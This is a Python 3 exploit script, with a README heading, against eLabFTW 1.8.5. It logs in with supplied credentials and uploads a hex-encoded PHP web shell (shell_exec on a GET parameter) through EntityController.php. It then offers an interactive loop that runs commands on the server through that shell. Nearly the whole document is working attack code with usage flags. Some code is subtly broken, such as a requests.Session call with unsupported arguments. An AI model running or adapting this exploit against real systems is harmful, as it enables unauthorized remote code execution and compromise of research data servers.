README.md
Rendering markdown...
# Exploit Title : eLabFTW 1.8.5 'EntityController' Arbitrary File Upload / RCE
# Date : 5/18/19 (modified date: 8/16/2025)
# Exploit Author : liquidsky (JMcPeters), modified by Drew Alleman for Python3!
# Vulnerable Software : eLabFTW 1.8.5
# Vendor Homepage : https://www.elabftw.net/
# Version : 1.8.5
# Software Link : https://github.com/elabftw/elabftw
# Tested On : Linux / PHP Version 7.0.33
import argparse
import sys
import requests
from bs4 import BeautifulSoup
from urllib.parse import urlparse, urlencode, urlunparse, parse_qsl
from ssl import SSLCertVerificationError
try:
import urllib3
except Exception:
urllib3 = None
LOGIN_ENDPOINT = "/login.php"
LOGIN_CONTROLLER_ENDPOINT = "/app/controllers/LoginController.php"
UPLOAD_ENDPOINT = "/app/controllers/EntityController.php"
SSL_ERROR = (
"[CRTICIAL] SSL error while contacting shell. Use '--no-verify' (optionally with '--silence-warnings')."
"[CRTICIAL] SSL error while contacting shell. Use '--no-verify' (optionally with '--silence-warnings')."
"[CRTICIAL] SSL error while contacting shell. Use '--no-verify' (optionally with '--silence-warnings')."
)
data = ""
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37"
data += "\x32\x31\x36\x37\x35\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39"
data += "\x34\x31\x31\x31\x36\x33\x30\x33\x39\x35\x30\x37\x37\x0d\x0a"
data += "\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69"
data += "\x74\x69\x6f\x6e\x3a\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61"
data += "\x3b\x20\x6e\x61\x6d\x65\x3d\x22\x75\x70\x6c\x6f\x61\x64\x22"
data += "\x0d\x0a\x0d\x0a\x74\x72\x75\x65\x0d\x0a\x2d\x2d\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37\x32\x31\x36\x37\x35"
data += "\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39\x34\x31\x31\x31\x36"
data += "\x33\x30\x33\x39\x35\x30\x37\x37\x0d\x0a\x43\x6f\x6e\x74\x65"
data += "\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\x69\x6f\x6e\x3a"
data += "\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61\x3b\x20\x6e\x61\x6d"
data += "\x65\x3d\x22\x69\x64\x22\x0d\x0a\x0d\x0a\x34\x0d\x0a\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37\x32\x31"
data += "\x36\x37\x35\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39\x34\x31"
data += "\x31\x31\x36\x33\x30\x33\x39\x35\x30\x37\x37\x0d\x0a\x43\x6f"
data += "\x6e\x74\x65\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\x69"
data += "\x6f\x6e\x3a\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61\x3b\x20"
data += "\x6e\x61\x6d\x65\x3d\x22\x74\x79\x70\x65\x22\x0d\x0a\x0d\x0a"
data += "\x65\x78\x70\x65\x72\x69\x6d\x65\x6e\x74\x73\x0d\x0a\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37\x32\x31"
data += "\x36\x37\x35\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39\x34\x31"
data += "\x31\x31\x36\x33\x30\x33\x39\x35\x30\x37\x37\x0d\x0a\x43\x6f"
data += "\x6e\x74\x65\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\x69"
data += "\x6f\x6e\x3a\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61\x3b\x20"
data += "\x6e\x61\x6d\x65\x3d\x22\x66\x69\x6c\x65\x22\x3b\x20\x66\x69"
data += "\x6c\x65\x6e\x61\x6d\x65\x3d\x22\x70\x6f\x63\x33\x2e\x70\x68"
data += "\x70\x35\x22\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79"
data += "\x70\x65\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e"
data += "\x2f\x78\x2d\x70\x68\x70\x0d\x0a\x0d\x0a\x3c\x3f\x70\x68\x70"
data += "\x20\x65\x63\x68\x6f\x20\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65"
data += "\x63\x28\x24\x5f\x47\x45\x54\x5b\x27\x65\x27\x5d\x2e\x27\x20"
data += "\x32\x3e\x26\x31\x27\x29\x3b\x20\x3f\x3e\x0d\x0a\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37\x32\x31\x36"
data += "\x37\x35\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39\x34\x31\x31"
data += "\x31\x36\x33\x30\x33\x39\x35\x30\x37\x37\x2d\x2d\x0d\x0a"
class Exploit:
def __init__(
self,
email,
password,
url,
port=None,
verify=True,
silence_warnings=False,
timeout=180,
):
self.email = email
self.password = password
self.verify = verify
self.timeout = timeout
if not self.verify and silence_warnings and urllib3:
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
print("[INFO] Disabled warnings about insecure https certifications.")
# Parse and normalize the URL
p = urlparse(
url
if url and "://" in url
else (url and f"http://{url}") or "http://localhost"
)
scheme = p.scheme or "http"
host = p.hostname
port = p.port or port or (443 if scheme == "https" else 80)
if scheme == "https" and port == 80:
port = 443
if scheme == "http" and port == 443:
port = 80
self.scheme = scheme
self.host = host
self.port = port
default_port = (scheme == "https" and port == 443) or (
scheme == "http" and port == 80
)
self.base_url = f"{scheme}://{host}{'' if default_port else f':{port}'}"
self.session = requests.Session(timeout=self.timeout, verify=self.verify)
self.token = None
self.session_id = None
print(f"[INFO] Loaded URL: '{self.base_url}'")
def grab_token(self) -> bool:
print("[INFO] Attempting to grab a form token from elabftw...")
try:
auth_response = self.session.get(self.base_url + LOGIN_ENDPOINT)
except (requests.exceptions.SSLError, SSLCertVerificationError):
print(SSL_ERROR)
return False
except requests.exceptions.ConnectionError:
print("[CRITICAL] Unable to connect to the target URL. Is the host up?")
return False
soup = BeautifulSoup(auth_response.text, "lxml")
node = soup.find("input", {"name": "formkey"})
if not node or not node.get("value"):
print("[ERROR] Could not find formkey on login page")
return False
self.token = node["value"]
return True
def grab_session_id(self) -> bool:
print(
"[INFO] Attempting to login with the provided credentials and form token..."
)
login_payload = {
"email": self.email,
"password": self.password,
"formkey": self.token,
}
login_response = self.session.post(
self.base_url + LOGIN_CONTROLLER_ENDPOINT, data=login_payload
)
if not login_response.ok:
print(
f"[ERROR] Failed to login with credentials: '{self.email}:{self.password}'"
)
return False
self.session_id = self.session.cookies.get("PHPSESSID")
if not self.session_id:
print("[ERROR] No PHPSESSID cookie set after login")
return False
return True
def send_payload(self) -> bool:
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0",
"Accept": "application/json",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Cache-Control": "no-cache",
"X-Requested-With": "XMLHttpRequest",
"Content-Length": "588",
"Content-Type": "multipart/form-data; boundary=---------------------------72167598110874594111630395077",
"Connection": "close",
"Cookie": "PHPSESSID=" + self.session_id + ";" + "token=" + self.token,
}
payload_response = self.session.post(
self.base_url + UPLOAD_ENDPOINT, headers=headers, data=data
)
if not payload_response.ok:
print(
f"[ERROR] Failed to send payload to elabftw (HTTP {payload_response.status_code})"
)
return False
return True
def run_shell(
shell_url: str, verify: bool, silence_warnings: bool, timeout: int
) -> int:
"""
Call the uploaded .php5 backdoor with ?e=<cmd> and print the response body.
Returns process exit code (0 on success, 1 on error).
"""
if not verify and silence_warnings and urllib3:
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
parts = urlparse(shell_url if "://" in shell_url else f"http://{shell_url}")
print("[INFO] NOTE: Shell does not have CD persistence.")
while True:
try:
cmd = input("$ ")
if cmd == "exit":
break
query = dict(parse_qsl(parts.query, keep_blank_values=True))
query["e"] = cmd
new_parts = parts._replace(query=urlencode(query))
final_url = urlunparse(new_parts)
try:
r = requests.get(final_url, verify=verify, timeout=timeout)
except (requests.exceptions.SSLError, SSLCertVerificationError):
print(SSL_ERROR)
return 1
except requests.exceptions.RequestException as ex:
print(f"[ERROR] Failed to contact shell: {ex}")
return 1
print(r.text.strip())
except KeyboardInterrupt:
return
def parse_args():
ap = argparse.ArgumentParser(
description="eLabFTW 1.8.5 arbitrary file upload / RCE (Python3). "
"Either use --shell to start an non-interactive shell, "
"or provide login args to upload a new one."
)
ap.add_argument(
"--shell",
help="Full URL to existing .php5 backdoor in /uploads (e.g., https://host/uploads/..../abc.php5)",
)
ap.add_argument("-e", "--email", help="Login email")
ap.add_argument("-P", "--password", help="Login password")
ap.add_argument("-u", "--url", help="Base URL (e.g., https://192.168.1.10)")
ap.add_argument(
"--port",
type=int,
default=None,
help="Port override (defaults to 443 for https, 80 for http)",
)
ap.add_argument(
"--no-verify", action="store_true", help="Disable TLS certificate verification"
)
ap.add_argument(
"--silence-warnings",
action="store_true",
help="Silence urllib3 InsecureRequestWarning (effective only with --no-verify)",
)
ap.add_argument(
"--timeout",
type=int,
default=180,
help="Timeout in seconds for shell connection (default: 180)",
)
args = ap.parse_args()
if args.shell:
return args
missing = [
flag
for flag, val in [
("--email", args.email),
("--password", args.password),
("--url", args.url),
]
if not val
]
if missing:
ap.error(f"Missing required arguments for upload mode: {' '.join(missing)}")
return args
def main():
args = parse_args()
# If --shell is provided, skip everything else and just execute the command
if args.shell:
exit_code = run_shell(
shell_url=args.shell,
verify=not args.no_verify,
silence_warnings=args.silence_warnings,
timeout=args.timeout,
)
sys.exit(exit_code)
# Otherwise, proceed with original upload flow
exploit = Exploit(
email=args.email,
password=args.password,
url=args.url,
port=args.port,
verify=not args.no_verify,
silence_warnings=args.silence_warnings,
timeout=args.timeout,
)
if not exploit.grab_token():
print("[ERROR] Failed to grab form token from elabftw!")
sys.exit(1)
if not exploit.grab_session_id():
sys.exit(1)
if exploit.send_payload():
print(f"[INFO] Successfully sent payload to target!")
print(f"[INFO] Check for a shell: {exploit.base_url}/uploads/")
print(
f"[INFO] Example Upload: {exploit.base_url}/uploads/82/82b757007585fa963c82b09.php5?e=whoami"
)
sys.exit(0)
else:
sys.exit(1)
if __name__ == "__main__":
main()